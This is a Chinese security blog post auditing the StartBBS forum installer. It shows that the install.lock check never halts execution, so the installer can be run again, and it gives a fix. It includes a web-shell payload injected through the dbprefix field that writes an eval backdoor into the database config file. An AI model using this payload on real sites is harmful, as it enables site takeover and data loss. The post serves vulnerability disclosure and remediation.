您的位置 » 首页 » 代码审计 » 代码审计:开源轻论坛StartBBS 检查安装处理不当导致可重装漏洞

代码审计:开源轻论坛StartBBS 检查安装处理不当导致可重装漏洞

发表于3年前 | 作者: seay | 分类: 代码审计 | 孵化于:2014年01月03日 | 文章热度:8,147 次 全屏阅读

显示不全请点击全屏阅读

直接写一句话getshell。

所有测试都是在本地进行的哦,我立志做一个好孩纸~!
心血来潮读读代码。StartBBS界面挺清爽的,体积也小。下载下来安装。
安装好后发现根目录下多了一个install.lock,一般的cms为了防止被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安装”。
原本应该是没有任何问题的。但我们来到安装脚本,/app/controllers/install.php中,查看它是怎么处理的:
 
class Install extends Install_Controller 
  
{ 
  
function __construct () 
  
{ 
  
parent::__construct(); 
  
$this->load->library('myclass'); 
  
$file=FCPATH.'install.lock'; 
  
if (file_exists($file)){ 
  
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";'); 
  
} 
  
  
  
}

看到这里我就笑了。构造函数里检查是否存在install.lock,然后用javascript的方式告诉用户“系统已安装过”,然后跳转。但是这个脚本根本还没有结束嘛,这个类里的函数都可以运行,并不因为返回了一个window.location.href就停止运行。(this->myclass->notice()中也没有停止运行的代码)

然后,在往下翻,就能看到安装的函数:
public function step($step) 
  
{ 
  
$data['step']=$step; 
  
if($step==1 || $step==2){ 
  
$data['permission'] = $this->_checkFileRight(); 
  
$this->load->view('install',$data); 
  
} 
  
if($step==3){ 
  
$this->_install_do(); 
  
} 
  
} 
  
  
  
function _install_do() 
  
{ 
  
$data['step']=3; 
  
if($_POST){  
  
$dbhost = $this->input->post('dbhost'); 
  
$dbport = $this->input->post('dbport'); 
  
$dbname = $this->input->post('dbname'); 
  
$dbuser = $this->input->post('dbuser'); 
  
$dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):''; 
  
$dbprefix = $this->input->post('dbprefix'); 
  
$userid = $this->input->post('admin'); 
  
$pwd = md5($this->input->post('pwd')); 
  
$email = $this->input->post('email'); 
  
$sub_folder = '/'.$this->input->post('base_url').'/'; 
  
$conn = mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd); 
  
if (!$conn) { 
  
die('无法连接到数据库服务器,请检查用户名和密码是否正确'); 
  
} 
  
if($this->input->post('creatdb')){ 
  
if(!@mysql_query('CREATE DATABASE IF NOT EXISTS '.$dbname)){ 
  
die('指定的数据库('.$dbname.')系统尝试创建失败,请通过其他方式建立数据库'); 
  
} 
  
} 
  
if(!mysql_select_db($dbname,$conn)){ 
  
die($dbname.'数据库不存在,请创建或检查数据名.'); 
  
  
  
} 
  
$sql = file_get_contents(FCPATH.'app/config/startbbs.sql'); 
  
$sql = str_replace("sb_",$dbprefix,$sql); 
  
$explode = explode(";",$sql); 
  
$data['msg1']="创建表".$dbname."成功,请稍后……<br/>"; 
  
foreach ($explode as $key=>$value){ 
  
    if(!empty($value)){ 
  
    if(trim($value)){ 
  
    mysql_query($value.";"); 
  
    } 
  
    } 
  
  } 
  
$password = $pwd; 
  
  $ip=$this->myclass->get_ip(); 
  
  $insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip) VALUES ('0','1','1','".$userid."','".$password."','".$email."','".time()."','".$ip."')"; 
  
  mysql_query($insert); 
  
mysql_close($conn); 
  
$data['msg2']="安装完成,正在保存配置文件,请稍后……";  
  
$dbconfig = "<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n"
  
."\$active_group = 'default';\n"
  
."\$active_record = TRUE;\n"
  
."\$db['default']['hostname'] = '".$dbhost."';\n"
  
."\$db['default']['port'] = '".$dbport."';\n"
  
."\$db['default']['username'] = '".$dbuser."';\n"
  
."\$db['default']['password'] = '".$dbpwd."';\n"
  
."\$db['default']['database'] = '".$dbname."';\n"
  
."\$db['default']['dbdriver'] = 'mysql';\n"
  
."\$db['default']['dbprefix'] = '".$dbprefix."';\n"
  
."\$db['default']['pconnect'] = TRUE;\n"
  
."\$db['default']['db_debug'] = TRUE;\n"
  
."\$db['default']['cache_on'] = FALSE;\n"
  
."\$db['default']['cachedir'] = 'app/cache';\n"
  
."\$db['default']['char_set'] = 'utf8';\n"
  
."\$db['default']['dbcollat'] = 'utf8_general_ci';\n"
  
."\$db['default']['swap_pre'] = '';\n"
  
."\$db['default']['autoinit'] = TRUE;\n"
  
."\$db['default']['stricton'] = FALSE;"; 
  
$file = FCPATH.'/app/config/database.php'; 
  
file_put_contents($file,$dbconfig); 
  
  
  
//保存config文件 
  
if($sub_folder){ 
  
$this->config->update('myconfig','sub_folder', $sub_folder); 
  
} 
  
$encryption_key = md5(uniqid()); 
  
if($encryption_key){ 
  
$this->config->update('myconfig','encryption_key', $encryption_key); 
  
} 
  
  
  
$data['msg3']="保存配置文件完成!"; 
  
touch(FCPATH.'install.lock');  
  
$data['msg4']="创建锁定安装文件install.lock成功"; 
  
$data['msg5']="安装startbbs成功!"; 
  
} 
  
$this->load->view('install',$data); 
  
  
  
}

当step函数的参数为3时,就执行安装函数_install_do(),这个函数里初始化了数据库,并把数据库配置文件写入了“/app/config/database.php”。于是,我们可以构造一下数据包直接把一句话写入到这个配置文件里。

我们看到,这个函数接收了许多post数据:
  $dbhost = $this->input->post('dbhost'); 
  
  $dbport = $this->input->post('dbport'); 
  
  $dbname = $this->input->post('dbname'); 
  
  $dbuser = $this->input->post('dbuser'); 
  
  $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):''; 
  
  $dbprefix = $this->input->post('dbprefix'); 
  
  $userid = $this->input->post('admin'); 
  
  $pwd = md5($this->input->post('pwd')); 
  
  $email = $this->input->post('email'); 
  
  $sub_folder = '/'.$this->input->post('base_url').'/';

其中dbhost、dbport、dbname、dbuser、dbpwd都不能随便乱写,乱写的话安装就会出错,而userid、pwd、email、sub_folder都是写入数据库的,不写入配置文件。所以就剩下dbprefix了,所以我们可以这样构造这个字段:

dbprefix=sb_’;@eval ($_POST[101]);$xxx=’
漏洞证明:
因为这个重安装漏洞破坏性太大,getshell以后网站等于重置了,所以我没有在网上测试。测试都在本地进行~
首先在外面找一个可以外连的mysql账号,为的是让安装成功进行。
我这里在我vps上新建了一个账号test_db_user,然后构造下面的这个数据包,发送:
等待一会发现返回了安装成功提示。因为我在本地测试的,所以我来到网站目录下,/app/config/database.php
可以看到,一句话已经写入了。菜刀连接index.php就可以了,直接连这个数据库配置文件是不行的。

 
修复方案:
 app/controllers/install.php文件中,提示下面加一个退出
 

function __construct () 
  
{ 
  
parent::__construct(); 
  
$this->load->library('myclass'); 
  
$file=FCPATH.'install.lock'; 
  
if (file_exists($file)){ 
  
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";'); 
  
exit; 
  
} 
  
  
  
}

 
作者:phith0n

Tags:

startbbs漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3602/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)